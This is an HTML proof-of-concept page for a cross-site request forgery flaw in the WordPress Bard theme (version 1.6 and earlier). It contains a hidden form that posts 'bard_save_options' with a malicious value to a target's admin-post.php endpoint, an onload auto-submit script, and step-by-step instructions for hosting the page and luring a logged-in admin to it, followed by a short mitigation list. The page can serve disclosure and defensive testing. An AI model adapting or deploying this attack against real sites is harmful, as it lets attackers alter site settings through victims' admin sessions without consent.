<h1>CSRF PoC - CVE-2025-64368</h1>
<div class="info">
<p><strong>Target:</strong> WordPress with Bard Theme <= 1.6</p>
<p><strong>Vulnerability:</strong> Cross-Site Request Forgery</p>
<p><strong>Description:</strong> This PoC demonstrates how an attacker can
trick an authenticated admin into submitting unintended requests.</p>
</div>
<!--
Example CSRF form - Replace 'wp-admin/admin-post.php' with actual
vulnerable endpoint and add required form parameters based on
target version analysis
-->
<form action="http://target-site.com/wp-admin/admin-post.php" method="POST" id="csrf-form">
<!-- Add WordPress nonce and other required parameters here -->
<input type="hidden" name="action" value="bard_save_options">
<!-- Add other form fields that the vulnerable endpoint expects -->
<input type="hidden" name="bard_setting" value="malicious_value">
<!-- CSRF Token (if weak or missing) -->
<input type="hidden" name="_wpnonce" value="">
</form>
<script>
// Auto-submit the form when page loads
// In a real attack, this would be hidden and automatic
window.onload = function() {
console.log('CSRF PoC loaded - Form will auto-submit');
// Uncomment below to auto-submit
// document.getElementById('csrf-form').submit();
};
</script>
<h3>How to use this PoC:</h3>
<ol>
<li>Identify the vulnerable Bard theme version (<= 1.6)</li>
<li>Capture a legitimate request from the admin panel</li>
<li>Extract the required form parameters and action URL</li>
<li>Update the form action and input fields accordingly</li>
<li>Host this page on attacker-controlled server</li>
<li>Send link to authenticated admin (social engineering)</li>
<li>When admin visits, form auto-submits with admin credentials</li>
</ol>
<h3>Mitigation:</h3>
<ul>
<li>Upgrade Bard theme to latest version</li>
<li>Implement CSRF tokens in all state-changing operations</li>
<li>Check Referer header for requests</li>
<li>Use SameSite=Strict or SameSite=Lax cookies</li>
</ul>
